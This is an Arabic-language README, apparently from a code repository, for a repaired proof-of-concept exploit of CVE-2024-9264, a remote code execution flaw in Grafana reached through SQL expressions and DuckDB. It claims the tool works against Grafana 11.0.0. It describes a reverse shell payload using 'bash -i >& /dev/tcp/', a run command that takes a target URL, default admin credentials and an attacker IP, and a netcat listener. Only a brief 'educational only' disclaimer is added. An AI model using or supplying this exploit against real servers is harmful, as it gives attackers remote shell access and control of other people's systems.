🛠️ CVE-2024-9264 - استغلال RCE المُصلح في Grafana

هذا هو الإصدار المُصلح من استغلال إثبات المفهوم لـ CVE-2024-9264، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في Grafana (عبر تعبيرات SQL و DuckDB).

🔗 الإعلان الأصلي: إصدار Grafana الأمني
❌ إثبات المفهوم الأصلي: معطل بسبب أخطاء في الصياغة والاستخدام غير الصحيح لـ write_file()
✅ هذا الإصدار يعمل، تم اختباره على مثيل Grafana 11.0.0 به ثغرة.

✅ الإصلاحات في هذا الإصدار

• ✅ يستخدم writefile() بشكل صحيح بدلاً من write_file() (دالة DuckDB)
• ✅ حمولة شل صحيحة باستخدام bash -i >& /dev/tcp/...
• ✅ تمت كتابة وتنفيذ الشل العكسي بنجاح عبر امتداد shellfs

📦 المتطلبات

• مثيل Grafana يحتوي على:
  • الواجهة الخلفية DuckDB
  • القدرة على install shellfs from community
• مستمع netcat على جهاز المهاجم الخاص بك

🚀 الاستخدام

python3 fixed_poc_writefile.py \
  --url http://target:3000 \
  --username admin \
  --password admin \
  --reverse-ip <YOUR_IP> \
  --reverse-port 4444

ثم استمع باستخدام:

nc -lvnp 4444

⚠️ إخلاء المسؤولية القانوني

هذا المشروع لأغراض تعليمية فقط.
لا تستخدمه ضد أهداف ليس لديك إذن لاختبارها.

✍️ مؤلف هذا الإصلاح

تم التعديل والتحقق من قبل Exerr — إثبات المفهوم الأصلي بواسطة z3k0sec.